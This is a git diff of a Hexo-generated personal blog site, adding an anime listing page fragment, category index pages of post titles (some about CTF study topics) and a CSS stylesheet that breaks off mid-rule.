简介:在私立碧阳学园,学生会成员的选举有一套特殊的制度。不举行一般性选举,只是单纯地靠人气投票来选取学生会成员。因此,每年被选出的基本上都是可爱的女孩子。这是因为大多数情况下美男子会招致男性学生的嫉妒与不满...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9039.4 万 + + + 追番人数 207.1 万 + + + 硬币数 13.5 万 + + + 弹幕总数 140.7 万 + + + 评分 8.5 + + +
+

简介:在二十世纪袭击地球的大灾害“落星雨”之下,世界多数的都市遭到毁灭。但从陨石中发现的未知元素——万应素,让人类的科学技术加速发展,终于诞生出被称作“星脉世代”的、拥有特异之力的新人类。故事发生在世界最大...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 177.6 万 + + + 追番人数 10.4 万 + + + 硬币数 3186 + + + 弹幕总数 4.3 万 + + + 评分 8.8 + + +
+

简介:アバター強奪事件— +放課後に生徒が学内ローカルネットに取り残され、アバターの衣装やアイテムを剥ぎ取られるという事件が発生する。 + +同時に、ローカルネット荒しに気をつけろとニコからも伝言が入る。 +新生《...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2.3 亿 + + + 追番人数 747.5 万 + + + 硬币数 131.8 万 + + + 弹幕总数 978.9 万 + + + 评分 9.3 + + +
+

简介:高中生兼小说作家的“和泉正宗”(笔名:和泉征宗)有个家里蹲的妹妹“和泉纱雾”。一年前才成为家人的她,却完全不走出居室,并也用力踩踏地板,要我帮她准备食物。为了这段称不上“兄妹”的关系,正宗得想个办法让...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 160.5 万 + + + 追番人数 17.9 万 + + + 硬币数 1.2 万 + + + 弹幕总数 4.0 万 + + + 评分 9.6 + + +
+

简介:高中毕业后,进入了曾制作自己自幼便入迷的游戏的制作公司“Eagle Jump”的青叶,在那里与担任这款游戏角色设计师的八神光相遇了。 +开始在憧憬的人手下工作的青叶,虽然对于第一次的工作感到困惑,但在以...

+
+
+ + +
+
+
+
+ +
+ + + + 全5话0 + + + + + 国创 中国大陆 + + + + 总播放 3924.2 万 + + + 追番人数 73.5 万 + + + 硬币数 28.2 万 + + + 弹幕总数 9.4 万 + + + 评分 9.6 + + +
+

简介:第一季未出现的朝鲜篇的完整版,作者的怨念在此得到了解脱,并带着幸福并感激着的心,再一次带各位重温那些最可爱的人。...

+
+
+ + +
+
+
+
+
+ ID-0 +
+
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 312.8 万 + + + 追番人数 20.5 万 + + + 硬币数 8241 + + + 弹幕总数 2.8 万 + + + 评分 9.2 + + +
+

简介:I-Machine——那是在极限环境下作业的大型机器人的总称。 +联盟学院学生三栗麻耶在使用I-Machine的途中被卷入事故, +得到驾驶着I-Machine、如同海贼一般挖掘欧利哈特矿石的埃斯卡维特公...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3075.5 万 + + + 追番人数 146.3 万 + + + 硬币数 8.1 万 + + + 弹幕总数 171.8 万 + + + 评分 8.8 + + +
+

简介: 故事设定在一场警察无法应对的世界范围内的治安危机当中,产生了一种在法律限制内解决个人或组织的委托以弥补警察不足的职业——武侦。而在专门培养“武侦”的特殊学校东京武侦高中里,侦探科二年级的男主角・远山...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 3639.9 万 + + + 追番人数 261.2 万 + + + 硬币数 11.1 万 + + + 弹幕总数 77.5 万 + + + 评分 8.3 + + +
+

简介:【2016年12月31日bilibili独播】2015年。示巴所观测到的未来领域毫无前兆地消失。根据计算,发现——不,是证明了人类将于2017年灭绝。人理延续保障机构·迦勒底将“无法观测的领域”假定为...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 2.5 亿 + + + 追番人数 823.2 万 + + + 硬币数 94.5 万 + + + 弹幕总数 457.5 万 + + + 评分 9.7 + + +
+

简介:这是一个关于你自身的故事。你体内的故事——。 +人的细胞数量,约为37兆2千亿个。 +细胞们在名为身体的世界中,今天也精神满满、无休无眠地在工作着。 +运送着氧气的红细胞,与细菌战斗的白细胞……!这里,有着...

+
+
+ + +
+ top + prev + 2 / 3 + next + end +
+ +
+
+ + +
+ top + prev + 2 / 3 + next + end +
+ +
+
+ +

Comment
\ No newline at end of file diff --git a/biliroaming/index.html b/biliroaming/index.html new file mode 100644 index 0000000000..c27b078c65 --- /dev/null +++ b/biliroaming/index.html @@ -0,0 +1,125 @@ + + + + + + 哔哩漫游代理服务 | GamerNoTitle + + + + + + + + + + +
+ +
+ + +
+ 哔哩漫游解析服务器GamerNoTitle +
+ + +
+
+ + + + + + + + + + + +
+ + + + + diff --git a/categories/CTF/index.html b/categories/CTF/index.html new file mode 100644 index 0000000000..dd40da2a9d --- /dev/null +++ b/categories/CTF/index.html @@ -0,0 +1,388 @@ +Category: CTF | GamerNoTitle + + + + + + + + + + + +
2022网鼎杯青龙组——个人WriteUP
CTF学习笔记(大学篇)07 —— 手动注入msf到指定的程序
2022年全国大学生信息安全竞赛创新实践能力赛 —— 复赛WriteUp
CTF学习笔记(大学篇)06 —— 实战!在拟定的背景下运用社工和后门程序获取用户手机上的内容
CTF学习笔记(大学篇)05 —— 通过msfconsole和520apkhook创建带有后门程序的安卓程序
CTF学习笔记(大学篇)04 —— 使用Aircrack-ng来破解WIFI
2022年全国大学生信息安全竞赛创新实践能力赛初赛 —— 部分WriteUp
CTF学习笔记(大学篇)03 —— CobaltStrike 详解
CTF学习笔记(大学篇)02 —— BadUSB & CobaltStrike
CTF学习笔记(大学篇)01 —— CTF入门
\ No newline at end of file diff --git a/categories/Coding/index.html b/categories/Coding/index.html new file mode 100644 index 0000000000..2e9d9c9c12 --- /dev/null +++ b/categories/Coding/index.html @@ -0,0 +1,402 @@ +Category: Coding | GamerNoTitle + + + + + + + + + + + +
从零开始的Python ACM Ch.9:动态规划
从零开始的Python ACM Ch.8:综合题目
从零开始的Python ACM Ch.7:整数练习
从零开始的Python ACM Ch.6:质数与整数练习
从零开始的Python ACM Ch.5:练习系列
从零开始的Python ACM Ch.4:序列和字符串的算法
从零开始的Python ACM Ch.3:队列、链表与二叉树
从零开始的Python ACM Ch.2:时间复杂度、栈、面向对象及链表
从零开始的Python ACM Ch.1:数据类型及基本数据处理
蓝桥杯2022年B组省赛 —— 个人题解
\ No newline at end of file diff --git a/categories/Diary/index.html b/categories/Diary/index.html new file mode 100644 index 0000000000..c090ec7997 --- /dev/null +++ b/categories/Diary/index.html @@ -0,0 +1,282 @@ +Category: Diary | GamerNoTitle + + + + + + + + + + + +
与新冠肺炎搏斗的那些日子
Ticwatch Pro 3 使用体验报告
\ No newline at end of file diff --git a/categories/Games/index.html b/categories/Games/index.html new file mode 100644 index 0000000000..0a6ee708f3 --- /dev/null +++ b/categories/Games/index.html @@ -0,0 +1,273 @@ +Category: Games | GamerNoTitle + + + + + + + + + + + +
CSGO国服反和谐教程
\ No newline at end of file diff --git a/categories/IoT/index.html b/categories/IoT/index.html new file mode 100644 index 0000000000..53a0d8043d --- /dev/null +++ b/categories/IoT/index.html @@ -0,0 +1,274 @@ +Category: IoT | GamerNoTitle + + + + + + + + + + + +
Raspberry 4B 折腾记录(持续更新)
\ No newline at end of file diff --git a/categories/MATLAB/index.html b/categories/MATLAB/index.html new file mode 100644 index 0000000000..a6513eb8c0 --- /dev/null +++ b/categories/MATLAB/index.html @@ -0,0 +1,281 @@ +Category: MATLAB | GamerNoTitle + + + + + + + + + + + +
MATLAB学习笔记 20211125
MATLAB学习笔记 20211126
\ No newline at end of file diff --git a/categories/Software/index.html b/categories/Software/index.html new file mode 100644 index 0000000000..2878c761ac --- /dev/null +++ b/categories/Software/index.html @@ -0,0 +1,388 @@ +Category: Software | GamerNoTitle + + + + + + + + + + + +
为什么我选择用回了Valine?
Beat Saber 萌新踩坑记录
我被微软算账了π_π
移动你的WSA数据盘,让你的C盘不再爆满
收看B站港澳台地区番剧的正确方式 - 哔哩漫游biliRoaming
Steam资料美化 —— 让你的展柜变得好看!
Office365开发者订阅保命计划
Github的基本用法 —— 给小白的新手教程
CSGO服务器架设指南
Valine-Admin博客评论邮件提醒系统部署
\ No newline at end of file diff --git a/categories/Software/page/2/index.html b/categories/Software/page/2/index.html new file mode 100644 index 0000000000..2bd2ed39fb --- /dev/null +++ b/categories/Software/page/2/index.html @@ -0,0 +1,402 @@ +Category: Software | GamerNoTitle + + + + + + + + + + + +
Windows10美化笔记
Onedrive分享型网盘搭建 - FODI
jsDelivr的正确打开方式
网易云音乐去除版权限制(Nodejs)
Cloudflare Workers反代实战(下)
Cloudflare Workers反代实战(上)
白嫖党教你白嫖Cloudflare Workers反代~
PIXIV网页版及客户端访问恢复指南(Linux版)
最全面的Hexo部署方法,交给你了~
白嫖Office365?这种好事我当然要来!
\ No newline at end of file diff --git a/categories/Software/page/3/index.html b/categories/Software/page/3/index.html new file mode 100644 index 0000000000..997e16960b --- /dev/null +++ b/categories/Software/page/3/index.html @@ -0,0 +1,294 @@ +Category: Software | GamerNoTitle + + + + + + + + + + + +
被限速的日子,该过去了!
别再问我怎么装系统了,再问我就把这边文章丢到你脸上!
Cmd的互替软件,让Cmder来帮助你更好地使用控制台!
\ No newline at end of file diff --git a/categories/Tech/index.html b/categories/Tech/index.html new file mode 100644 index 0000000000..22920eca6a --- /dev/null +++ b/categories/Tech/index.html @@ -0,0 +1,371 @@ +Category: Tech | GamerNoTitle + + + + + + + + + + + +
从外网访问Windows服务器上WSL的服务
利用ValorantAPI开发商店查询网站
把群晖打造成BT自动下载服务器
在小霸王电脑上安装黑群晖
记一次更新服务器Python的过程
防止你的Telegram被垃圾私信轰炸 - PagerMaid-Pyro 部署使用
白嫖Repl.it的服务,让你的服务不间断运行
关于我玩Stable-diffusion-webui的那些事
将jsdelivr镜像源迁移到Gcore —— Gcore CDN使用
使用Vercel平台部署哔哩漫游服务器(HK、SEA)
\ No newline at end of file diff --git a/categories/Tech/page/2/index.html b/categories/Tech/page/2/index.html new file mode 100644 index 0000000000..856beb5c39 --- /dev/null +++ b/categories/Tech/page/2/index.html @@ -0,0 +1,398 @@ +Category: Tech | GamerNoTitle + + + + + + + + + + + +
使用Fly.io平台部署哔哩漫游服务器
就决定是你啦!苏菲婆5! —— 谈谈我对Surface Pro 5的使用体验以及各种骚操作
使用Python和Qt5来制作带有GUI的程序(持续更新)
Vercel搭建反向代理
SteamAutoQueue —— Steam自动探索3次队列,帮你拿到促销期间的卡牌!
Linux踩坑记录:为什么我的sudo反应这么慢
使用Railway服务平台和message-pusher项目搭建自己的微信通知推送服务器
在华为Watch Pro 3上面安装第三方应用
Teamspeak服务器搭建指南
MHYY-AutoCheckin - 米哈云游(云原神)自动签到脚本食用指南
\ No newline at end of file diff --git a/categories/Tech/page/3/index.html b/categories/Tech/page/3/index.html new file mode 100644 index 0000000000..c5914b582e --- /dev/null +++ b/categories/Tech/page/3/index.html @@ -0,0 +1,434 @@ +Category: Tech | GamerNoTitle + + + + + + + + + + + +
用Python和Flask打造属于自己的API
NeteaseMusicDownload —— 网易云音乐自助下载网站
音灵INVAXION解锁工具制作全纪录
网站优化:网站目录缩短及重定向
白嫖?给我也整一个!白嫖网易云游戏平台时长
MCDR-Mirror-Server使用手册和例子 | The usage and example of MCDR-Mirror-Server
MCDR的正确食用方式 - 让你的服务器像TIS一样拥有QB!
Valine-Customize魔改教程
Valine-Magic - Valine表情仓库
hexo-theme-butterfly主题美化小笔记
\ No newline at end of file diff --git a/categories/Tech/page/4/index.html b/categories/Tech/page/4/index.html new file mode 100644 index 0000000000..ef986a359b --- /dev/null +++ b/categories/Tech/page/4/index.html @@ -0,0 +1,299 @@ +Category: Tech | GamerNoTitle + + + + + + + + + + + +
Netease-Comment-Spider 网易云音乐热评爬虫使用手册
Hitokoto-Spider 一言库爬虫开发日记
手把手教你怎么搭建属于自己的直播服务器~
\ No newline at end of file diff --git a/categories/diary/index.html b/categories/diary/index.html new file mode 100644 index 0000000000..0d53909dfb --- /dev/null +++ b/categories/diary/index.html @@ -0,0 +1,357 @@ +Category: diary | GamerNoTitle + + + + + + + + + + + +
杂谈:为什么我选择了复读
日常吐槽10:我的域名被停止解析了 —— 一段时间
日常吐槽10:为什么我叫做"GamerNoTitle"?
“陪伴是最长情的告白”
日常吐槽09:关于我得知Github查封Action仓库的信息后我自行删除脚本的这档事
日常吐槽08 - 换用Blackberry9720三个月后的感受
日常吐槽07 - 记录一次成功的举报经历
日常吐槽05 - 【阿里云限时活动】免费领取6个月ESC服务器,到期前一个月还能免费续费多半年
日常吐槽04
日常吐槽03 - 聊一聊WARFRAME COINCIDANCE的制作
\ No newline at end of file diff --git a/categories/diary/page/2/index.html b/categories/diary/page/2/index.html new file mode 100644 index 0000000000..5972abd332 --- /dev/null +++ b/categories/diary/page/2/index.html @@ -0,0 +1,274 @@ +Category: diary | GamerNoTitle + + + + + + + + + + + +
日常吐槽02
日常吐槽01
\ No newline at end of file diff --git a/categories/index.html b/categories/index.html new file mode 100644 index 0000000000..07505e5ae2 --- /dev/null +++ b/categories/index.html @@ -0,0 +1,288 @@ +categories | GamerNoTitle + + + + + + + + + + + +
\ No newline at end of file diff --git a/charts/index.html b/charts/index.html new file mode 100644 index 0000000000..517b000264 --- /dev/null +++ b/charts/index.html @@ -0,0 +1,582 @@ +本站文章统计 | GamerNoTitle + + + + + + + + + + + +
+ + + +
+ + + +
+ + +
+ +

Comment
\ No newline at end of file diff --git a/css/index.css b/css/index.css new file mode 100644 index 0000000000..f96bd4c8ed --- /dev/null +++ b/css/index.css @@ -0,0 +1,5671 @@ +/*! normalize.css v8.0.1 | MIT License | github.com/necolas/normalize.css */ +html { + line-height: 1.15; + -webkit-text-size-adjust: 100% +} + +body { + margin: 0 +} + +main { + display: block +} + +h1 { + font-size: 2em; + margin: .67em 0 +} + +hr { + box-sizing: content-box; + height: 0; + overflow: visible +} + +pre { + font-family: monospace, monospace; + font-size: 1em +} + +a { + background-color: transparent +} + +abbr[title] { + border-bottom: none; + text-decoration: underline; + text-decoration: underline dotted +} + +b, +strong { + font-weight: bolder +} + +code, +kbd, +samp { + font-family: monospace, monospace; + font-size: 1em +} + +small { + font-size: 80% +} + +sub, +sup { + font-size: 75%; + line-height: 0; + position: relative; + vertical-align: baseline +} + +sub { + bottom: -.25em +} + +sup { + top: -.5em +} + +img { + border-style: none +} + +button, +input, +optgroup, +select, +textarea { + font-family: inherit; + font-size: 100%; + line-height: 1.15; + margin: 0 +} + +button, +input { + overflow: visible +} + +button, +select { + text-transform: none +} + +[type=button], +[type=reset], +[type=submit], +button { + -webkit-appearance: button +} + +[type=button]::-moz-focus-inner, +[type=reset]::-moz-focus-inner, +[type=submit]::-moz-focus-inner, +button::-moz-focus-inner { + border-style: none; + padding: 0 +} + +[type=button]:-moz-focusring, +[type=reset]:-moz-focusring, +[type=submit]:-moz-focusring, +button:-moz-focusring { + outline: 1px dotted ButtonText +} + +fieldset { + padding: .35em .75em .625em +} + +legend { + box-sizing: border-box; + color: inherit; + display: table; + max-width: 100%; + padding: 0; + white-space: normal +} + +progress { + vertical-align: baseline +} + +textarea { + overflow: auto +} + +[type=checkbox], +[type=radio] { + box-sizing: border-box; + padding: 0 +} + +[type=number]::-webkit-inner-spin-button, +[type=number]::-webkit-outer-spin-button { + height: auto +} + +[type=search] { + -webkit-appearance: textfield; + outline-offset: -2px +} + +[type=search]::-webkit-search-decoration { + -webkit-appearance: none +} + +::-webkit-file-upload-button { + -webkit-appearance: button; + font: inherit +} + +details { + display: block +} + +summary { + display: list-item +} + +template { + display: none +} + +[hidden] { + display: none +} +.limit-one-line, +#article-container .flink .flink-item-name, +#article-container .flink .flink-item-desc, +#aside-content .card-archives ul.card-archive-list > .card-archive-list-item a span, +#aside-content .card-categories ul.card-category-list > .card-category-list-item a span, +.site-data > a .headline, +#pagination .prev_info, +#pagination .next_info, +#sidebar #sidebar-menus .menus_items .site-page { + overflow: hidden; + -o-text-overflow: ellipsis; + text-overflow: ellipsis; + white-space: nowrap; +} +.limit-more-line, +.article-sort-item-title, +#recent-posts > .recent-post-item >.recent-post-info > .article-title, +#recent-posts > .recent-post-item >.recent-post-info > .content, +#aside-content .aside-list > .aside-list-item .content > .name, +#aside-content .aside-list > .aside-list-item .content > .title, +#aside-content .aside-list > .aside-list-item .content > .comment, +#post-info .post-title, +.relatedPosts > .relatedPosts-list .content .title, +#article-container figure.gallery-group p, +#article-container figure.gallery-group .gallery-group-name { + display: -webkit-box; + overflow: hidden; + -webkit-box-orient: vertical; +} +.fontawesomeIcon, +hr:before, +#post .post-copyright:before, +#post .post-outdate-notice:before, +.note:not(.no-icon)::before { + display: inline-block; + font-weight: 600; + font-family: 'Font Awesome 6 Free'; + text-rendering: auto; + -webkit-font-smoothing: antialiased; +} +.cardHover, +.layout > div:first-child:not(.recent-posts), +#recent-posts > .recent-post-item, +#aside-content .card-widget, +.layout > .recent-posts .pagination > *:not(.space) { + border-radius: 8px; + background: var(--card-bg); + -webkit-box-shadow: var(--card-box-shadow); + box-shadow: var(--card-box-shadow); + -webkit-transition: all 0.3s; + -moz-transition: all 0.3s; + -o-transition: all 0.3s; + -ms-transition: all 0.3s; + transition: all 0.3s; +} +.cardHover:hover, +.layout > div:first-child:not(.recent-posts):hover, +#recent-posts > .recent-post-item:hover, +#aside-content .card-widget:hover, +.layout > .recent-posts .pagination > *:not(.space):hover { + -webkit-box-shadow: var(--card-hover-box-shadow); + box-shadow: var(--card-hover-box-shadow); +} +.imgHover, +.article-sort-item-img img, +#recent-posts > .recent-post-item .post_cover img.post_bg, +#aside-content .aside-list > .aside-list-item .thumbnail > img { + width: 100%; + height: 100%; + -webkit-transition: filter 375ms ease-in 0.2s, -webkit-transform 0.6s; + -moz-transition: filter 375ms ease-in 0.2s, -moz-transform 0.6s; + -o-transition: filter 375ms ease-in 0.2s, -o-transform 0.6s; + -ms-transition: filter 375ms ease-in 0.2s, -ms-transform 0.6s; + transition: filter 375ms ease-in 0.2s, transform 0.6s; + object-fit: cover; +} +.imgHover:hover, +.article-sort-item-img img:hover, +#recent-posts > .recent-post-item .post_cover img.post_bg:hover, +#aside-content .aside-list > .aside-list-item .thumbnail > img:hover { + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.postImgHover:hover img, +#pagination .prev-post:hover img, +#pagination .next-post:hover img, +.relatedPosts > .relatedPosts-list > div:hover img { + opacity: 0.8; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=80)"; + filter: alpha(opacity=80); + -webkit-transform: scale(1.1); + -moz-transform: scale(1.1); + -o-transform: scale(1.1); + -ms-transform: scale(1.1); + transform: scale(1.1); +} +.postImgHover img, +#pagination .prev-post img, +#pagination .next-post img, +.relatedPosts > .relatedPosts-list > div img { + position: absolute; + width: 100%; + height: 100%; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + -webkit-transition: all 0.6s, filter 375ms ease-in 0.2s; + -moz-transition: all 0.6s, filter 375ms ease-in 0.2s; + -o-transition: all 0.6s, filter 375ms ease-in 0.2s; + -ms-transition: all 0.6s, filter 375ms ease-in 0.2s; + transition: all 0.6s, filter 375ms ease-in 0.2s; + object-fit: cover; +} +.list-beauty, +.category-lists ul { + list-style: none; +} +.list-beauty li, +.category-lists ul li { + position: relative; + padding: 0.12em 0.4em 0.12em 1.4em; +} +.list-beauty li:hover:before, +.category-lists ul li:hover:before { + border-color: var(--pseudo-hover); +} +.list-beauty li:before, +.category-lists ul li:before { + position: absolute; + top: 0.67em; + left: 0; + width: 0.43em; + height: 0.43em; + border: 0.215em solid #8e8cd8; + border-radius: 0.43em; + background: transparent; + content: ''; + cursor: pointer; + -webkit-transition: all 0.3s ease-out; + -moz-transition: all 0.3s ease-out; + -o-transition: all 0.3s ease-out; + -ms-transition: all 0.3s ease-out; + transition: all 0.3s ease-out; +} +#content-inner, +#footer { + -webkit-animation: bottom-top 1s; + -moz-animation: bottom-top 1s; + -o-animation: bottom-top 1s; + -ms-animation: bottom-top 1s; + animation: bottom-top 1s; +} +#page-header { + -webkit-animation: header-effect 1s; + -moz-animation: header-effect 1s; + -o-animation: header-effect 1s; + -ms-animation: header-effect 1s; + animation: header-effect 1s; +} +#site-title, +#site-subtitle { + -webkit-animation: titleScale 1s; + -moz-animation: titleScale 1s; + -o-animation: titleScale 1s; + -ms-animation: titleScale 1s; + animation: titleScale 1s; +} +#nav.show { + -webkit-animation: headerNoOpacity 1s; + -moz-animation: headerNoOpacity 1s; + -o-animation: headerNoOpacity 1s; + -ms-animation: headerNoOpacity 1s; + animation: headerNoOpacity 1s; +} +canvas:not(#ribbon-canvas), +#web_bg { + -webkit-animation: to_show 4s; + -moz-animation: to_show 4s; + -o-animation: to_show 4s; + -ms-animation: to_show 4s; + animation: to_show 4s; +} +#ribbon-canvas { + -webkit-animation: ribbon_to_show 4s; + -moz-animation: ribbon_to_show 4s; + -o-animation: ribbon_to_show 4s; + -ms-animation: ribbon_to_show 4s; + animation: ribbon_to_show 4s; +} +#sidebar-menus.open > :nth-child(1) { + -webkit-animation: sidebarItem 0.2s; + -moz-animation: sidebarItem 0.2s; + -o-animation: sidebarItem 0.2s; + -ms-animation: sidebarItem 0.2s; + animation: sidebarItem 0.2s; +} +#sidebar-menus.open > :nth-child(2) { + -webkit-animation: sidebarItem 0.4s; + -moz-animation: sidebarItem 0.4s; + -o-animation: sidebarItem 0.4s; + -ms-animation: sidebarItem 0.4s; + animation: sidebarItem 0.4s; +} +#sidebar-menus.open > :nth-child(3) { + -webkit-animation: sidebarItem 0.6s; + -moz-animation: sidebarItem 0.6s; + -o-animation: sidebarItem 0.6s; + -ms-animation: sidebarItem 0.6s; + animation: sidebarItem 0.6s; +} +#sidebar-menus.open > :nth-child(4) { + -webkit-animation: sidebarItem 0.8s; + -moz-animation: sidebarItem 0.8s; + -o-animation: sidebarItem 0.8s; + -ms-animation: sidebarItem 0.8s; + animation: sidebarItem 0.8s; +} +.scroll-down-effects { + -webkit-animation: scroll-down-effect 1.5s infinite; + -moz-animation: scroll-down-effect 1.5s infinite; + -o-animation: scroll-down-effect 1.5s infinite; + -ms-animation: scroll-down-effect 1.5s infinite; + animation: scroll-down-effect 1.5s infinite; +} +.reward-main { + -webkit-animation: donate_effcet 0.3s 0.1s ease both; + -moz-animation: donate_effcet 0.3s 0.1s ease both; + -o-animation: donate_effcet 0.3s 0.1s ease both; + -ms-animation: donate_effcet 0.3s 0.1s ease both; + animation: donate_effcet 0.3s 0.1s ease both; +} +@-moz-keyframes scroll-down-effect { + 0% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } + 50% { + top: -16px; + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } +} +@-webkit-keyframes scroll-down-effect { + 0% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } + 50% { + top: -16px; + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } +} +@-o-keyframes scroll-down-effect { + 0% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } + 50% { + top: -16px; + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } +} +@keyframes scroll-down-effect { + 0% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } + 50% { + top: -16px; + opacity: 1; + -ms-filter: none; + filter: none; + } + 100% { + top: 0; + opacity: 0.4; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=40)"; + filter: alpha(opacity=40); + } +} +@-moz-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes header-effect { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-webkit-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-o-keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@keyframes headerNoOpacity { + 0% { + -webkit-transform: translateY(-50px); + -moz-transform: translateY(-50px); + -o-transform: translateY(-50px); + -ms-transform: translateY(-50px); + transform: translateY(-50px); + } + 100% { + -webkit-transform: translateY(0); + -moz-transform: translateY(0); + -o-transform: translateY(0); + -ms-transform: translateY(0); + transform: translateY(0); + } +} +@-moz-keyframes bottom-top { + 0% { + margin-top: 50px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + margin-top: 0; + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-webkit-keyframes bottom-top { + 0% { + margin-top: 50px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + margin-top: 0; + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-o-keyframes bottom-top { + 0% { + margin-top: 50px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + margin-top: 0; + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@keyframes bottom-top { + 0% { + margin-top: 50px; + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + } + 100% { + margin-top: 0; + opacity: 1; + -ms-filter: none; + filter: none; + } +} +@-moz-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: alpha(opacity=0); + -webkit-transform: scale(0.7); + -moz-transform: scale(0.7); + -o-transform: scale(0.7); + -ms-transform: scale(0.7); + transform: scale(0.7); + } + 100% { + opacity: 1; + -ms-filter: none; + filter: none; + -webkit-transform: scale(1); + -moz-transform: scale(1); + -o-transform: scale(1); + -ms-transform: scale(1); + transform: scale(1); + } +} +@-webkit-keyframes titleScale { + 0% { + opacity: 0; + -ms-filter: "progid:DXImageTransform.Microsoft.Alpha(Opacity=0)"; + filter: 